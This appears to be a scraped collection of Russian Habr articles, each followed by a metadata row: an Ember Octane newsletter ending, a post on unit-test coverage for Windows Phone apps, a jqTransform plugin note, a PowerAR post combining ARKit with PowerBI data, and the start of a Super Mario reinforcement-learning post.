Особенно в начале вы, возможно, захотите ознакомиться с основными концепциями Octane, и как они связаны с тем, что вы уже узнали о JavaScript! Прочитайте некоторые из этих избранных постов блога, чтобы подробнее узнать о принципах этой редакции Ember.
* Серия блогов "Основные понятия октана" Криса Гарретта ([@pzuraq](https://github.com/pzuraq))
+ [Часть 1: Нативные классы](https://blog.emberjs.com/2019/02/11/coming-soon-in-ember-octane-part-1.html)
+ [Часть 2: Синтаксис с угловыми скобками (angle brackets) и именованные (named) аргументы](https://blog.emberjs.com/2019/02/19/coming-soon-in-ember-octane-part-2.html)
+ [Часть 3: Отслеживаемые свойства](https://blog.emberjs.com/2019/02/26/coming-soon-in-ember-octane-part-3.html)
+ [Часть 4: Модификаторы](https://blog.emberjs.com/2019/03/06/coming-soon-in-ember-octane-part-4.html)
+ [Часть 5: Glimmer-компоненты](https://blog.emberjs.com/2019/03/14/coming-soon-in-ember-octane-part-5.html)
* [Джен Вебер (@jenweber): Наиболее распространенные ошибки при использовании Octane и как их избежать](https://medium.com/ember-ish/the-most-common-ember-js-octane-mistakes-and-how-to-avoid-them-c6420e1b0423)
* [Рикардо Мендес (@locks) Как Octane приносит ясность в шаблоны](https://simplabs.com/blog/2019/12/20/clarity-in-templates/)
* [Frontend Masters (платная подписка 39$ в месяц): Курс по основам Ember Octane от Mike North (@ mike-north)](https://frontendmasters.com/courses/ember-octane/)
> С самого начала Ember развивался вместе с языком JavaScript. Ember служил испытательным полигоном для таких функций, как классы и модули, и в течение многих лет отдавал больше, чем получал. В Octane мы исправляем ситуацию. Ember теперь становится таким же современным, как любая другая JavaScript-инфраструктура, максимально используя возможности языка, которые он помог сформировать. И его приверженность стабильности в эволюции означает, что эта тенденция будет продолжаться в течение многих лет. ~ Дэн Гебхардт ([@dgeb](https://github.com/dgeb))
Как перейти на Octane ️
=======================
Воспользуйтесь совместимостью Octane с классическим Ember и начните миграцию существующих приложений Ember и с помощью следующих полезных материалов:
* [Руководство по Ember: Руководство по переходу на Octane](https://guides.emberjs.com/release/upgrading/current-edition/)
* [Как переписать приложение используя Ember Octane от Айзека Ли (@ ijlee2)](https://crunchingnumbers.live/2019/12/23/rewriting-apps-in-ember-octane/)
* [Ember Octane vs. Classic Ember Шпаргалка (cheatsheet)](https://ember-learn.github.io/ember-octane-vs-classic-cheat-sheet/)
* [Пошаговое руководство по миграции в Атласе по Ember](https://www.notion.so/Atlas-Recommended-Migration-Order-a22f948a7cce4e01896d674f727bee74)
Какой бы дорогой вы не пошли, вам не придется делать это в одиночку, поскольку члены сообщества щедро предоставили [многочисленные кодмоды (codemods)](https://github.com/ember-codemods), чтобы помочь всему сообществу эффективно мигрировать.
* [Кодмод для угловых скобок](https://github.com/ember-codemods/ember-angle-brackets-codemod)
* [Кодмод для отслеживаемых свойств](https://github.com/ember-codemods/ember-tracked-properties-codemod)
* [Кодмод для нативных классов](https://github.com/ember-codemods/ember-native-class-codemod)
* [`Неявный this` или `{{foo}}` для `{{this.foo}}`](https://github.com/ember-codemods/ember-no-implicit-this-codemod)
* [Кодмод ES5 Getter](https://github.com/ember-codemods/es5-getter-ember-codemod)
* [Перенос шаблонов в папки с js-классами](https://github.com/ember-codemods/ember-component-template-colocation-migrator)
Если вам по пути нужна помощь, посетите [чат и форумы сообщества Ember](https://emberjs.com/community/) (или русскоязычный [телеграмм-канал](https://t.me/ember_js)).
> Когда мы начали работать над Ember в начале 2010-х годов, мы знали, что нам придется адаптироваться к изменениям экосистемы, но мы не могли предсказать, насколько значительными будут изменения в языке JavaScript и его распространении. Особенность Ember в том, что когда мы адаптируемся к таким вещам, как классы JavaScript или современный синтаксис компонентов, мы очень усердно работаем над миграцией существующих приложений. И дело не только в том, что вы можете использовать старые и новые функции одновременно. Старые классы синтаксиса и структуры свободно взаимодействуют с новыми классами синтаксиса и структур. Разработчики приложений Ember могут тратить больше времени на бизнес-функционал для своих пользователей и меньше времени на переписывание приложения, как это часто бывает в JavaScript сообществе. ~ Йехуда Кац ([@wycats](https://github.com/wycats))
Отзыв от компании Outdoorsy
===========================
Хотите знать, кто использовал функции Ember Octane **в продакшене**?
В следующих нескольких выпусках мы будем уделять некоторое время рассмотрению проектов и команд, которые используют Ember Octane в своих приложениях.
Сегодня поговорим с компанией [Outdoorsy](https://www.outdoorsy.com/), маркетплейсе, который связывает владельцев домов на колесах и автофургонов с туристами, поощряя их больше бывать на природе. Outdoorsy поддерживает три масштабных приложения Ember для своего главного веб-продукта.
Разработчики из Outdoorsy используют функции Octane в бою с сентября и, как сообщается, для них это приятный опыт. Жак Жубер ([@jacojoubert](https://github.com/jacojoubert)), фронт-энд инженер в Outdoorsy, говорит: «Octane позволил нам создать проверенные интерактивные приложения за очень короткое время. Используя Octane, мы воссоздали весь наш [поиск](https://www.outdoorsy.com/rv-search) с нуля за пять недель. То, что раньше заняло бы на порядок больше времени".
Приложение Ember от Outdoorsy — прекрасная возможность показать лучшие стороны Ember Octane. Приложение пишется в классическом стиле Ember около 4 лет, и оно достаточно велико, чтобы над ним работала команда из 26 разработчиков (около половины из которых сосредоточены на пользовательском интерфейсе). Все приложение представляет собой монорепо из нескольких приложений и аддонов Ember и использует Ember Fastboot с [регидратацией](https://www.youtube.com/watch?v=s28a3U3ce2c%5E_%5Eamp%5E_%5Et=1087s) для своих открытых страниц в целях SEO.
Как и при любом обновлении приложения такого размера, здесь было несколько болевых точек, но команда Outdoorsy воспользовалась возможностью собраться вместе во время внутрикомандного технического саммита (команда распределена, и многие работают удаленно), чтобы в течение недели сфокусироваться на обновлении.
К новому синтаксису Octane пришлось немного привыкать, особенно в том, как использовать отслеживаемые (tracked) свойства вместо вычисляемых (computed) свойств, но команде понравилось использование новой системы авто-отслеживания, а также компонентов на основе классов. Они планируют постепенное обновление всех своих компонентов с течением времени.
Почти вся новая работа, выполняемая над приложением, делается с использованием компонентов Glimmer и опирается на более ясные и естественные концепции Ember Octane (*прим: glimmer-компоненты, отслеживаемые свойства, модификаторы*).
Если перечислять заметные преимущества, которые команда Outdoorsy получила от Octane, — это упрощение ментальной модели работы с Ember за счет унификации синтаксиса и концепций, улучшенная читаемость кода и облегчение понимания, из какого контекста получается состояние. Отсутствие разночтения, в каком из файлов искать определение используемого свойства, безусловно благоприятно сказалось на производительности разработчиков.
Приятно слышать, что Octane действительно хорошо работает в продакшене в масштабах и с уровнем сложности компании Outdoorsy.
Мы знаем, что есть много других замечательных примеров использования Octane "в полях". Если вы хотите поделиться своим опытом, пожалуйста, свяжитесь с командой Ember Times.
> Сохранение силы Ember зависит от энергии и преданности сообщества, и редакция Octane является отличным примером того, как сообщество может собраться вместе, согласовать план и довести все до ума. ~ Эдвард Фолкнер ([@ef4](https://github.com/ef4))
Атлас Ember
===========
Выше мы упоминали о Руководстве по обновлению — [Атлас Ember Octane](https://www.notion.so/Ember-Octane-b8ad64b7adf74218942fc69ead7b6892). Этот раздел содержит больше информации об этом ресурсе, который помогает разработчикам Ember перевести их классические приложений и аддоны Octane.
Так что же такое Атлас Ember?
Ember Atlas — это пока неофициальный ресурс для Ember, кураторами которого являются различные люди в Ember-сообществе. Сейчас он включает в себя лучшие практики, руководства по обновлению и другие темы. Атлас Ember создан, чтобы быть своего рода вики для Ember. Туда собирается различный контент, который пока не готов для официального руководства, или который не предполагается туда вносить (*прим: например, по причине сложности или ограниченной целевой аудитории*).
Не стесняйтесь добавить в закладки [emberatlas.com](http://emberatlas.com/), а для быстрого ознакомления рекомендуем прочитать раздел ["Введение в Ember Atlas"](https://www.notion.so/Introduction-d11ec02706d74eab960b3e2b11494bc7).
Октан на EmberConf 2020
=======================
С [выходом](https://blog.emberjs.com/2019/12/20/octane-is-here.html) Ember Octane неудивительно, что это также горячая тема для [EmberConf 2020](https://emberconf.com/#/speakers).
Если вы хотите послушать и поговорить с людьми об Octane, EmberConf в Портленде, США это то, что вам нужно! 16-18 марта будут полны потрясающих выступлений Годфри Чана ([@chancancode](https://github.com/chancancode)), Сучиты Доши ([@ suchitadoshi1987](https://github.com/suchitadoshi1987)), ДанМонро ([@DanMonroe](https://github.com/DanMonroe)) и многих других. (*Европейская конференция EmberFest обычно проводится осенью и на ней также, наверняка, будут обсуждать Octane. Следите за [этим твиттером](https://twitter.com/EmberFest/status/1212694841999724544), чтобы узнать где и когда*)
Это также хорошее место, чтобы встретиться со своими друзьями из мира Ember и узнать о многих других темах. Для получения дополнительной информации посетите веб-сайт [EmberConf](https://emberconf.com/) и присоединитесь к каналу [#ember-conf](https://discordapp.com/channels/480462759797063690/480502413917421570) на Ember Discord .
> У Ember есть стабильность и стойкость, и у него есть репутация, проверенная временем. Это делает его удобным для работы, и отличным выбором для компаний и команд, но это также означает, что наше время в центре хайпа уже прошло. Octane — это удивительное улучшение, а также отличная возможность привлечь людей, поймав следующую волну хайпа. Я надеюсь, что члены нашего сообщества воспользуются этой возможностью, чтобы распространить Ember еще больше к своим компаниям и проектам. ~ Лия Силбер (@wifelette)
Благодарности контрибьютерам
============================
На этой неделе мы хотели бы поблагодарить [@mansona](https://github.com/mansona), [@the-bionic](https://github.com/the-bionic), [@bf4](https://github.com/bf4), [@mixonic](https://github.com/mixonic), [@rwjblue](https://github.com/rwjblue), [@Turbo87](https://github.com/Turbo87), [@bobisjan](https://github.com/bobisjan), [@dmzza](https://github.com/dmzza), [@efx](https://github.com/efx) и [@SYU15](https://github.com/SYU15) за их вклад в Ember и связанные с ним репозитории!
`#embertimes`
=============
Хотите написать для Ember Times? Есть предложение для выпуска на следующей неделе? Присоединяйтесь к нам в [`#support-ember-times`](https://discordapp.com/channels/480462759797063690/485450546887786506) в [Ember Community Discord](https://discordapp.com/invite/zT3asNS) или напишите в директ [@embertimes в Твиттере](https://twitter.com/embertimes).
Будьте в курсе того, что происходит в мире Ember, подписавшись на нашу [еженедельную электронную рассылку](https://the-emberjs-times.ongoodbits.com/)! Вы также можете найти [наши сообщения](https://emberjs.com/blog/tags/newsletter.html) в блоге Ember.
> На русском про Ember можно спрашивать в телеграмм канале [ember\_js](https://t.me/ember_js)
Ну вот и закончился наш специальный выпуск, посвященный новой редакции Ember Octane!
Всего вам доброго,
Крис Нг, Алон Букай, Джессика Джордан, Анн-Грит ван Хервейнен, Исаак Ли, Джаред Галанис, Эми Лам и Команда обучения
Следующий выпуск доступен по этой [ссылке](https://habr.com/ru/post/484654/)
Предыдущий выпуск доступен по [ссылке](https://habr.com/ru/post/482988/). | https://habr.com/ru/post/483630/ | null | ru | null |
# Контроль покрытия кода при unit-тестировании в Windows Phone
Приветствую хабражителей!
Хочу поделиться своими достижениями в налаживании контроля покрытия кода при модульном тестировании приложений под Windows Phone. Примечательно, что при решении этой задачки пришлось столкнуться с некоторыми аспектами «правильного» проектирования приложений. Поэтому этот пост можно рассматривать как небольшое учебное пособие.
#### Постановка задачи
Дано:
Начинается разработка небольшого приложения под Windows Phone. Приложение типовое — забирает какие-то данные со своего сервера и в каком-то виде их показывает пользователю.
Требуется:
Спроектировать архитектуру приложения так, чтобы при непрерывной интеграции максимум кода приложения, отвечающего за логику работы, был закрыт тестами с возможностью контролировать это покрытие.
#### Общий подход
Как я [уже писал](http://habrahabr.ru/post/175661/), в рантайме Windows Phone не было средств контроля покрытия кода. По советам [Nagg](https://habrahabr.ru/users/nagg/) и [halkar](https://habrahabr.ru/users/halkar/) я вынес код с функционалом (логикой работы) приложения в Portable Class Library. Это дало возможность выполнять тесты в среде обычного .NET Framework с контролем покрытия. Кроме того, такой подход избавляет он шаманств с системой непрерывной интеграции, а также уменьшает время выполнения тестов.
Таким образом, упрощённо приложение можно представить в виде трёх компонент:
Вся логика приложения находится в PCL, не зависимой ни от рантайма Windows Phone, ни от окружения тестирования.
Приложение Windows Phone использует эту библиотеку и содержит XAML-разметку и минимум кода.
DLL-ка с тестами также ссылается на PCL и содержит собственно код тестов. Я использовал MSTest в качестве фреймворка тестирования, но это не принципиально.
Логика приложения не сможет работать в вакууме — нужно взаимодействовать с пользователем, с web-сервером и другим, непосредственно связанным с Windows Phone. Вместе с тем при выполнении тестов это взаимодействие должно как-то эмулироваться уже в среде обычного .NET Framework.
В итоге из PCL было вынесено следующее:* работа с web-сервером (отправка запроса и приём ответа)
* работа с файлами (сохранение, чтение, получение списка)
* локализация строковых ресурсов
* проверка доступности соединения с Интернет
* ещё кое-что
Рассмотрим это немного подробнее. Обобщённая схема работы приложения выглядит так:1. Отправляется HTTP-запрос на сервер
2. Принимается ответ
3. Ответ разбирается/обрабатывается
4. Результаты разборок выводятся на экран
Логика, подлежащая тестированию, находится только на этапе 3. Логично в этом случае код, отвечающий за все остальные этапы, вынести из PCL.
В случае вывода на экран для Windows Phone такой вынос происходит весьма прозрачно — в PCL находятся ViewModels, в XAML описывается привязка (binding) свойств элементов управления к свойствам ViewModels. При тестировании мы можем просто дёргать нужные свойства и методы ViewModels, имитируя действия пользователя и проверяя реакцию на них.
Теперь рассмотрим работу с сервером. PCL имеет реализацию клиента HTTP ([`HttpWebRequest`](http://msdn.microsoft.com/en-us/library/system.net.httpwebrequest.aspx)), и кажется логичным написать код работы с web-сервером прямо в PCL.
Однако нельзя забывать, что наша цель — протестировать логику приложения. Если мы намертво пришьём код отправки запросов на web-сервер к PCL, то для тестирования нужно будет поднимать отдельный web-сервер или как-то перехватывать запросы, имитируя работу сервера.
Идём дальше. В процессе обработки данные могут кэшироваться — сохраняться в виде файлов на устройстве. Однако в PCL нет законченных средств работы с файлами. Это связано с тем, что разные среды исполнения используют разные механизмы организации хранилища. Так, в привычном нам .NET это «обычные» файлы (например, [`File`](http://msdn.microsoft.com/ru-ru/library/system.io.file.aspx)), а в Windows Phone это уже [`IsolatedStorageFile`](http://msdn.microsoft.com/en-us/library/windowsphone/develop/system.io.isolatedstorage.isolatedstoragefile(v=vs.105).aspx). Нельзя забывать, что при тестировании нам также понадобится имитировать такое хранилище.
Собственно отвязка делалась простым способом — в PCL мы объявляем интерфейсы для работы с web-запросами, файлами, локализацией и пр., а реализуем их уже в приложении Windows Phone со своей спецификой. Соответственно для целей тестирования тоже нужно реализовать эти интерфейсы так, чтобы более-менее достоверно имитировать работу «живого» окружения.
##### Inversion of Control
С некоторой долей приближения такая развязка называется по научному [инверсией управления](http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%8F_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F). Не буду влезать в дебри, потому что ~~сам не знаю~~ материала на эту тему в сети предостаточно, опишу лишь основные моменты. Заранее прощу прощения у гуру за возможные искажения смысла — жду комментариев, если вдруг так.
Посмотрим для примера на интерфейс работы с файлами:
```
public interface IFileStorage
{
Stream GetWriteFileStream(string fileName);
Stream GetReadFileStream(string fileName);
bool IsFileExists(string fileName);
List GetAllFileNames(string path);
}
```
Этого интерфейса достаточно, чтобы оперировать с файлами, не вдаваясь в детали их хранения. Соответственно именно об этом интерфейсе и ни о чём более знает PCL. Реализован же он в приложении Windows Phone, и реализация использует `IsolatedStorageFile`.
Также этот интерфейс реализуется в тестовой DLL-ке, причём совсем примитивно — все файлы хранятся в памяти в виде `Dictionary`. Таким образом и логика программы довольна, думая, что работает с реальными файлами, и мы довольны, так как заодно решаем проблему с независимостью тестов. Новый тест — новый экземпляр класса — чистая «файловая система».
Но помимо файлов, нам нужно ещё развязать работу c web, локализацию и другое. Для удобства объединим это всё в другой интерфейс:
```
public interface IContainer
{
IFileStorage FileStorage { get; }
IDataRequest DataRequest { get; }
ILocalizer Localizer { get; }
IUiExtenter Extender { get; }
DateTime Now { get; }
}
```
Я обозвал его «контейнером», хотя в терминологии шаблона «Инверсия управления» это, возможно, не совсем корректно.
Этот интерфейс даёт нашей логике, заключённой в PCL, средства для работы с файлами (`FileStorage`), запросов к серверу (`DataRequest`), локализации (`Localizer`) и других вещей (`Extender`), объединённых в один интерфейс для лаконичности.
Отдельно отмечу свойство Now. Оно нужно исключительно для тестирования. Дело в том, что во многих местах логика завязана на текущее время, и для правильной эмуляции тестового окружения это время надо менять. Изменять системное время — идея плохая, поэтому и появилось это свойство. Главным было помнить, что вместо `DateTime.Now` нужно использовать это свойство.
Контейнер имеет две реализации — в приложении Windows Phone и в тестовой DLL. Каждый контейнер «подсовывал» свои реализации интерфейсов. Так, контейнер в DLL с тестами реализовывал `IDataRequest` в виде заглушки, позволяющую тестам имитировать ответы сервера и проблемы со связью.
Объект, реализующий `IContainer`, создаётся в начале работы приложения. При тестировании для каждого теста создаётся новый такой объект. Классы, заведующие логикой приложения, должны иметь ссылку на этот объект. Простой способ обеспечить это — требовать ссылку в конструкторах всех классов.
Конечно, есть множество готовых ~~велосипедов~~ схем реализации инверсии управления, например [Unity Application Block](https://unity.codeplex.com/), но я выбрал именно такой вариант, в первую очередь в образовательных целях. Во «взрослых» проектах, конечно, лучше использовать готовые решения.
##### Проблемы
В теории всё звучит хорошо и красиво, однако на практике пришлось столкнуться с несколькими проблемами. Строго говоря, вынести всю логику в PCL не получилось. Так, навигация между страницами, код для создания Dependency Property и некоторые другие вещи остались в проекте приложения Windows Phone и таким образом оказались не закрытыми тестами. Теоретически большую часть этого кода можно было перенести в PCL, но это привело бы к неоправданному (ИМХО конечно) раздуванию абстракций и как следствие усложнению поддержки кода в дальнейшем.
Ещё одной проблемой оказался байндинг свойств ViewModels на свойства элементов управления в XAML. Многие из последних имеют специфические типы ([`Brush`](http://msdn.microsoft.com/ru-ru/library/system.windows.media.brush.aspx), [`Visibility`](http://msdn.microsoft.com/ru-ru/library/system.windows.visibility.aspx)), недоступные в PCL. Проблема красиво решается через [механизм конверсии](http://msdn.microsoft.com/en-us/library/ms752347.aspx#data_conversion), однако нужно помнить, что при большом количестве элементов управления такая конверсия может сильно замедлить работу приложения.
##### Ещё кое-что
Есть пару вещей, которые, как мне кажется, можно реализовать правильнее, но я не могу додуматься, как. Буду признателен тем, кто наставит на путь истинный.
Вещь первая. По логике работы системы, в определённом месте алгоритма нужно показать пользователю диалог с выбором, а затем продолжить алгоритм в зависимости от выбора пользователя. Я не придумал ничего лучше чем реализовать в одном из интерфейсов контейнера метод ShowDialog и вызывать его прямо из кода в PCL. Соответственно «боевая» реализация метода показывала реальный диалог и ждала выбора пользователя, а тестовая — возвращала заранее настроенное значение.
Вещь вторая. В логике предусматривается обновление состояния элемента управления по таймеру. Но доступный в PCL класс [`Timer`](http://msdn.microsoft.com/en-us/library/system.threading.timer.aspx) вызывает обработчик окончания интервала в отдельном потоке. Попытка обновить состояние элемента в этом случае оканчивается плачевно. Моё лобовое решение — описать в интерфейсе метод с делегатом в качестве аргумента. В «боевой» реализации этот метод вызывает [`BeginInvoke`](http://msdn.microsoft.com/en-us/library/cc190824.aspx) для синхронизации в основном потоке, а в тестовой — просто вызывает делегата.
Ещё одна вещь, ~~которую я поленился делать~~ до которой не дошли руки — это эмуляция того самого таймера в тестовом окружении. Сейчас в паре тестов есть принудительные задержки, что некрасиво.
#### Итоги
В остатке тестами оказалась закрыта большая часть функциональности. Код тестов ViewModels теперь походит на описание реальных тест-кейсов («нажать сюда»-«ввести такое-то число сюда»-«сравнить значение с ожидаемым»).
Написание таких тестов — хороший способ мотивировать тестировщиков, стремящихся в разработчики. И им приятно писать код вместо кликанья, и тестирование идёт :)
Когда идеи со сценариями и баги иссякли, осталось только уверенность в том, что при зелёном глазке TeamCity приложение можно прямо запускать ~~на Марс~~ в бой. А сколько раз тесты ловили проблемы, когда нужно было «прикрутить» какую-нибудь фишечку — знает только build statistics…
Самый главный итог — это то, после выполнения кода мы можем видеть, по каким строчкам тесты «прошлись», а какие остались нетронутыми. Эти данные показываются в TeamCity как в виде статистики (по «затронутым» классам, методам и строчкам кода с разными уровнями детализации), а также в виде исходников с красно-зелёной раскраской.
Весь код тестами всё равно закрыть не получилось бы. Так, код code-behind остаётся по определению не закрытым, равно как и реализации интерфейсов контейнера. Однако то, что находилось внутри PCL (а это большая часть кода программы, отвечающего непосредственно за её функциональность), покрывается и контролируется очень хорошо.
Поскольку я маньяк, я настроил билд на «падение» в случае менее чем 100% покрытия методов (т.е. если в контролируемом коде был хотя бы один метод, включая лямбда-выражения, в который тесты не заходили). Хотя для нормальных людей такой контроль, наверное, будет перебором.
В любом случае, покрытие кода коррелирует с покрытием функционала тестами, и изучение красных строчек частенько наталкивало на мысли о тестовых сценариях, которые следовало бы закодировать.
 Главный вывод — для Windows Phone можно организовать unit-тестирование с контролем покрытия кода.
Использовать метрики покрытия формально, конечно, нонсенс. Впрочем, это относится к формальному использованию любых других метрик. Но если рассматривать покрытие не как раздражающий KPI, который хочется накрутить, а как инструмент для повышения качества, то это может быть действительно мощной штукой. | https://habr.com/ru/post/196992/ | null | ru | null |
# Улучшаем формы с jqTransform
Если у вас не хватает времени привести в порядок формы на вашем сайте, в помощь придет небольшой плагин **jqTransform**.
Подключите его и скормите форму. На выходе получится визуально более приятная форма с подсветкой полей в фокусе.
[Посмотреть демо](http://www.dfc-e.com/metiers/multimedia/opensource/jqtransform/)
[Скачать исходники с примером](http://www.dfc-e.com/sites/pages/upload/01_opensource/99_jqtransform/jqtransform-1.1.tar.gz)
Пример:
> `"text/javascript"</font>><br/>
> $(<font color="#0000ff">function</font>() {<br/>
> $(<font color="#A31515">".myform"</font>).jqTransform();<br/>
> });<br/>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
*PS: работает с jQuery от 1.2.6 до последней версии* | https://habr.com/ru/post/101659/ | null | ru | null |
# PowerAR — объединяем PowerBI и ARKit на поверхности стола
Привет, Хабр! Помните недавнюю конференцию Apple, на которой был представлен ARKit? Ой, стоп-стоп, это же блог Microsoft. Хотя, почему бы и нет. Ведь наши партнеры решили поэкспериментировать и совместить новый фреймворк от Apple с возможностями сервиса PowerBi от Microsoft. Подробнее под катом!
*Передаю слово автору*
Кратко о технологии ARKit
-------------------------
Технология ArKit гармонично вписывает виртуальные объекты в окружающий мир, создавая дополненную реальность и позволяя взаимодействовать с окружающим миром совершенно новыми способами.
Возможности:
* отслеживание позиции и мимики лиц, позволяя наложить любые эффекты и перенести в 3D;
* использование сенсора камеры и датчика движения для точного отслеживания объектов окружающего мира с помощью Visual Inertial Odometry (VIO);
* анализ изображения в камере устройства на горизонтальные и вертикальные поверхности (стены, потолок) для размещения на них виртуальных 3D объектов;
* определение степени освещенности объекта и применение его к виртуальному объекту.
Отличным примером внедрения данной технологии является совместно созданное ИКЕА и Apple мобильное [приложение](https://itunes.apple.com/ru/app/ikea-place/id1279244498?mt=8) Place.
Что получат пользователи приложения
-----------------------------------
Прежде всего это возможность взглянуть на десятки графиков под любым углом. По сути, перед нами новый вид наглядности. Также подобные графики позволяют делать красивые обложки для ежегодных отчетов инвесторам, совмещая их на фото вместе с документами компании, не прибегая к созданию подобных 3D-макетов в фоторедакторах.
В целом данное приложение пока выступает в качестве концепта, позволяющего пользователям прикоснуться к будущему, в котором дополненная реальность будет все более и более тесно интегрироваться c реальным миром.
> В частности, на создание подобного приложения вдохновил [концепт](https://blog.metavision.com/developing-ar-vr-data-visualization-tool-based-on-how-our-brains-work) от Meta.
Старт проекта
-------------
Создавать проект было решено на Swift 4. Часть наших клиентов используют для передачи данных в PowerBI формат CSV, который мы и решили брать как основу для вытягивания данных в реальный мир.
Пример данных для визуализации лидов:
```
Media,Июнь,Июль,Август,Всего
Yandex/CPC,82,70,20,172
Google/CPC,73,50,33,156
Yandex/Organic,67,45,28,140
Google/Organic,85,65,17,167
Youtube,54,42,24,120
Vk.com,33,58,20,111
```
Раз в сутки из Google Analytics и/или Я.Метрики по API выгружаются данные, собираются в CSV-файл и становятся доступы для выгрузки нашим приложением по ключу. Приложение обращается к серверу, выгружает обновленный файл, считывает его содержимое и синхронизирует данные из него с уже накопленными в смартфоне. Первоначальная загрузка приложения вытягивает все CSV-отчеты за последние 30 дней.
```
func generateNumbers(fromDataWithIndex index: Int) -> [[Double]]? {
let resourceName = String(format: "PowerBI_CSV", index)
guard let dataPath = Bundle.main.path(forResource: resourceName, ofType: "csv") else {
print(String(format: "Could Not Load Data %@", resourceName))
return nil
}
var data = [[Double]]()
if let dataString = try? String(contentsOfFile: dataPath) {
let lines = dataString.components(separatedBy: "\n")
let headerEntries = lines[0].components(separatedBy: ",")
for line in lines[1...] {
let lineEntries = line.components(separatedBy: ",")
if lineEntries.count == headerEntries.count {
data.append(lineEntries[1...].map({ Double($0) ?? 0.0 }))
}
}
}
return data
}
```
Далее в дело вступает ARKit. Запуск приложения сопровождается стартом сессии объекта ARSession, а затем генерирует 3D-модели столбцов, рассчитывая их высоту, исходя из данных CSV-файла.
```
var session: ARSession {
return sceneView.session
}
override func viewDidLoad() {
super.viewDidLoad()
sceneView.delegate = self
sceneView.scene = SCNScene()
sceneView.showsStatistics = false
sceneView.antialiasingMode = .multisampling4X
sceneView.automaticallyUpdatesLighting = false
sceneView.contentScaleFactor = 1.0
sceneView.preferredFramesPerSecond = 60
DispatchQueue.main.async {
self.screenCenter = self.sceneView.bounds.mid
}
if let camera = sceneView.pointOfView?.camera {
camera.wantsHDR = true
camera.wantsExposureAdaptation = true
camera.exposureOffset = -1
camera.minimumExposure = -1
}
}
```
ARKit, используя компьютерное зрение, определяет поверхность и, в случае обнаружения плоскости, позволяет разместить собранные компанией данные в виде 3D-столбцов.
Сложности, которые возникли, и решения, которые нашлись
-------------------------------------------------------
Во-первых, определение плоскостей. Сейчас все ещё сохраняется большой процент вероятности, что поверхность не распознается. Здесь остается лишь дождаться повышения точности работы самого ARKit и посоветовать использовать в подобных приложениях анимацию в случае успешного распознавания поверхности стола. Создать такой индикатор успешного распознавания можно следующим образом:
```
/*
s1 s2
_ _
s3 | | s4
s5 | | s6
- -
s7 s8
*/
let sl: Float = 0.5
let st = focusSquareThickness
let c: Float = focusSquareThickness / 2
let s1 = FocusSquareSegment(name: "s1", width: sl, thickness: st, color: focusSquareColor)
let s2 = FocusSquareSegment(name: "s2", width: sl, thickness: st, color: focusSquareColor)
let s3 = FocusSquareSegment(name: "s3", width: sl, thickness: st, color: focusSquareColor, vertical: true)
let s4 = FocusSquareSegment(name: "s4", width: sl, thickness: st, color: focusSquareColor, vertical: true)
let s5 = FocusSquareSegment(name: "s5", width: sl, thickness: st, color: focusSquareColor, vertical: true)
let s6 = FocusSquareSegment(name: "s6", width: sl, thickness: st, color: focusSquareColor, vertical: true)
let s7 = FocusSquareSegment(name: "s7", width: sl, thickness: st, color: focusSquareColor)
let s8 = FocusSquareSegment(name: "s8", width: sl, thickness: st, color: focusSquareColor)
s1.position += SCNVector3Make(-(sl / 2 - c), -(sl - c), 0)
s2.position += SCNVector3Make(sl / 2 - c, -(sl - c), 0)
s3.position += SCNVector3Make(-sl, -sl / 2, 0)
s4.position += SCNVector3Make(sl, -sl / 2, 0)
s5.position += SCNVector3Make(-sl, sl / 2, 0)
s6.position += SCNVector3Make(sl, sl / 2, 0)
s7.position += SCNVector3Make(-(sl / 2 - c), sl - c, 0)
s8.position += SCNVector3Make(sl / 2 - c, sl - c, 0)
```
Во-вторых, интерфейс. С приложениями, использующими камеру, важно найти компромисс между количеством элементов на экране и интуитивностью управления. В PowerAR было решено использовать прозрачные кнопки с эффектом размытия и оставить лишь добавление/удаление графиков, а также запуск настроек.
```
@IBOutlet weak var settingsButton: UIButton!
let blurSettings = UIVisualEffectView(effect: UIBlurEffect(style: UIBlurEffectStyle.light))
blurSettings.frame = settingsButton.bounds
blurSettings.isUserInteractionEnabled = false
settingsButton.insertSubview(blurSettings, at: 0)
settingsButton.layer.cornerRadius = 15.0
settingsButton.clipsToBounds = true
```
И наконец, оптимизация. Даже самое простое приложение c ARKit потребляет 50% CPU iPhone 7, что вызывает его нагрев и повышение скорости разрядки. Команда потратила практически 40% всего времени разработки на то, чтобы максимально оптимизировать использование ресурсов смартфона, особенно на процессоре A9 при использовании 100 отрендеренных столбцов, где изначально на это уходили все доступные приложению ресурсы.
Итог
----
На данный момент приложение уже доступно в качестве демо-версии в [App Store](https://itunes.apple.com/us/app/powerar/id1310312143?ls=1&mt=8m) и требует установленной iOS 11. В дальнейшем планируется добавление функций подключения внешних источников данных для выгрузки (бета-версия пока имеет предзагруженый набор данных) и расширить перечень видов диаграмм для визуализации. Также заканчиваем тестирование iPad-версии приложения, которая еще сильнее раскроет потенциал просмотра графиков в реальном мире.
Об авторе
---------
**Андрей Баранчиков** — ведущий разработчик компании [A-Teams](http://a-teams.ru/). C 2010 года занимается разработкой iOS/Android приложений и бэкэнда (Spring/JEE), начинал с разработки серверного ПО для потоковой обработки видео с камер видеонаблюдения. Одним из первых в России выпустил приложения для Apple Watch и Apple TV.
Mixed Reality Imagine Hack
--------------------------
Обратите внимание, что сейчас у нас проходит сбор заявок на международный студенческий конкурс Imagine Cup 2018. Победитель может выиграть 100K $.
В преддверии конкурса мы проводим серию хакатонов, на которых вы можете найти команду или ментора, пообщаться с экспертами и презентовать им свой проект. Ближайший из них будет посвящён разработке под MR/VR и пройдёт **9 — 10 февраля в Москве** при поддержке AVRA и ТемоЦентр. [Присоединяйтесь](https://aka.ms/Hackathon_ImagineCup2018). | https://habr.com/ru/post/348522/ | null | ru | null |
# Обучение с подкреплением в Super Mario Bros. Сравнение алгоритмов DQN и Dueling DQN
Этой весной Питерская Вышка и JetBrains впервые провели проектную смену для старшеклассников — [Школу по практическому программированию и анализу данных](https://spb.hse.ru/fmcs/programming/). В течение пяти дней 50 участников со всей страны работали над групповыми проектами по машинному обучению, NLP, мобильной и web-разработке.
